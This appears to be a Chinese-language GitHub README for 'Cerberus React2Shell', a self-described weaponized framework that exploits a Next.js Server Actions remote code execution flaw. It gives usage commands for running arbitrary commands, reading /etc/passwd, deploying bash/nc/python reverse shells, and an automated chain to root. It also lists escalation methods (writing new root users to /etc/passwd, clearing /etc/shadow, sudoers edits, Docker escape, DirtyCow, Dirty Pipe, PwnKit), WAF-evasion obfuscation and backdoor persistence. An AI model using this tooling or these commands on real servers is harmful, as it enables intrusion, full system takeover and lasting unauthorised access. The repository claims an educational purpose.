CerberusMrX/Cerberus-React2Shell-Scanner-Exploit
GitHub: CerberusMrX/Cerberus-React2Shell-Scanner-Exploit
一款针对 Next.js Server Actions RCE 漏洞的自动化利用框架,覆盖从漏洞检测到权限提升的完整攻击链。
Stars: 1 | Forks: 1
# Cerberus React2Shell - 武器化漏洞利用框架
```
██████╗ ███████╗██████╗ ██████╗ ███████╗██████╗ ██╗ ██╗
██╔════╝ ██╔════╝██╔══██╗██╔══██╗██╔════╝██╔══██╗██║ ██║
██║ █████╗ ██████╔╝██████╔╝█████╗ ██████╔╝██║ ██║
██║ ██╔══╝ ██╔══██╗██╔══██╗██╔══╝ ██╔══██╗██║ ██║
╚██████╗ ███████╗██║ ██║██████╔╝███████╗██║ ██║╚██████╔╝
╚═════╝ ╚══════╝╚═╝ ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═╝ ╚═════╝
React2Shell Exploitation Framework v1.0
Author: Sudeepa Wanigarathna
```
## 🎯 概述
针对 Next.js Server Actions RCE 漏洞 (React2Shell) 的专业级漏洞利用框架。演示了从初始访问到 root 权限提升的完整攻击链。
**核心功能:**
- ✅ 自动化漏洞检测
- ✅ 远程代码执行 (RCE)
- ✅ 交互式 shell 访问
- ✅ Linux 系统信息枚举
- ✅ 自动化权限提升
- ✅ 反弹 shell 部署
- ✅ 文件上传/下载
- ✅ root 访问权限演示
## 🚀 快速开始
### 基础 RCE
```
# 检查漏洞
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --check
# 执行命令
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "id"
```
### 交互式 Shell
```
python3 interactive_shell.py --target http://127.0.0.1:3000
```
### 完整自动化攻击链
```
# 完整利用:RCE → Enumeration → Root Access
python3 demo_exploit.py --target http://127.0.0.1:3000 --auto-root
```
## 📁 框架结构
```
Cerberus-React2Shell-Hades/
├── react2shell_exploit.py # Core exploit engine (400+ lines)
├── demo_exploit.py # Automated attack chain (290+ lines)
├── interactive_shell.py # Interactive shell (280+ lines)
├── reverse_shell_handler.py # Reverse shell listener (180+ lines)
├── post_exploit/
│ ├── linux_enum.py # System enumeration (330+ lines)
│ ├── priv_esc.py # Privilege escalation (320+ lines)
│ └── __init__.py
├── EXPLOITATION_GUIDE.md # Complete usage documentation
├── QUICKSTART.md # Quick reference
└── BANNER.txt
```
## 🔥 特性
### 核心漏洞利用引擎
- **Action ID 发现**:从 JavaScript bundles 中自动提取
- **多重 Payload**:execSync、spawn、eval、mainModule 变体
- **输出提取**:从错误响应中解析命令输出
- **WAF 绕过**:Payload 混淆技术
### 后渗透
- **Linux 枚举**:SUID/SGID 二进制文件、可写路径、cron jobs、内核版本
- **权限提升**:GTFOBins、可写 /etc 文件、Docker 逃逸、capabilities
- **文件操作**:使用 base64 编码进行上传/下载
- **持久化**:多种后门方法
### 交互式工具
- **交互式 Shell**:通过内置命令实时执行命令
- **反弹 Shell**:支持多种 shell 类型 (bash、python、nc、perl)
- **演示模式**:6 步自动化演示
## 📖 使用示例
### 1. 基础命令
```
# 漏洞检查
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --check
# 执行命令
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "whoami"
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "cat /etc/passwd"
# 不同的 payload 变体
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "id" --variant spawn
# 使用混淆
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "id" --obfuscate
```
### 2. 交互式 Shell
```
# 启动 shell
python3 interactive_shell.py --target http://127.0.0.1:3000
# 可用命令:
# - execute : 执行 shell 命令
# - enum : 运行完整 enumeration
# - escalate : 尝试权限提升
# - upload : 上传文件
# - download : 下载文件
# - shell : 部署 reverse shell
# - info : 显示会话信息
# - exit : 退出
```
### 3. 反弹 Shell
```
# 终端 1:启动 listener
python3 reverse_shell_handler.py --lport 4444
# 终端 2:部署 shell
python3 react2shell_exploit.py --target http://127.0.0.1:3000 \
--revshell --lhost 127.0.0.1 --lport 4444 --shell-type bash
```
### 4. 自动化演示
```
# 完整链:Discovery → RCE → Enum → Root
python3 demo_exploit.py --target http://127.0.0.1:3000 --auto-root
```
## 🎯 攻击链
该框架实现了一个完整的 6 步漏洞利用链:
1. **发现** - 从 JavaScript bundles 中提取 Server Action ID
2. **利用** - 找到可用的 Action ID 并实现 RCE
3. **验证** - 使用 `id` 命令确认代码执行
4. **枚举** - 收集系统信息、SUID 二进制文件、可写路径
5. **提升** - 自动化利用权限提升向量
6. **演示** - 通过读取 `/etc/shadow` 和列出 `/root` 目录证明 root 权限
## 🛡️ 权限提升技术
### 已实现的方法
1. **SUID 二进制文件 (GTFOBins)**
- find、vim、python、perl、bash、awk、sed、less、more、nmap
2. **可写 /etc 文件**
- `/etc/passwd` - 添加新的 root 用户
- `/etc/shadow` - 清除 root 密码
- `/etc/sudoers` - 授予 NOPASSWD sudo 权限
3. **Docker 逃逸**
- 可访问 Docker socket 的利用
- 特权 container 突破
4. **内核漏洞利用**
- DirtyCow (CVE-2016-5195)
- Dirty Pipe (CVE-2022-0847)
- PwnKit (CVE-2021-4034)
5. **Linux Capabilities**
- CAP_SETUID、CAP_DAC_OVERRIDE 利用
## 📊 统计数据
- **总代码行数**:1,800+
- **模块数量**:8
- **权限提升技术**:5
- **Payload 变体**:4
- **Shell 类型**:4 (bash、python、nc、perl)
## ⚙️ 环境要求
```
pip install -r requirements.txt
```
依赖项:
- requests
- colorama
## 📚 文档
- [`EXPLOITATION_GUIDE.md`](EXPLOITATION_GUIDE.md) - 包含示例的完整使用指南
- [`QUICKSTART.md`](QUICKSTART.md) - 常用命令快速参考
## ⚠️ 免责声明
## 🎓 教育目的
本框架专为以下用途设计:
- 研究 Next.js 漏洞的安全研究人员
- 已获授权的渗透测试人员
- 安全培训和 CTF 竞赛
- 受控实验室环境中的漏洞研究
## 📄 许可证
MIT 许可证 (仅限教育用途)
## 👤 作者
**Sudeepa Wanigarathna**
- 漏洞开发专家
- 安全研究员
- 渗透测试人员
**版本**:1.0
**最后更新**:2025 年 12 月
**实验室状态**:http://127.0.0.1:3000 (运行中)
有关详细的使用说明,请参阅 [`EXPLOITATION_GUIDE.md`](EXPLOITATION_GUIDE.md)
标签:CISA项目, Web报告查看器, 协议分析, 反弹Shell, 子域名突变, 无线安全, 权限提升, 漏洞利用框架, 编程工具, 网络信息收集, 远程代码执行, 逆向工具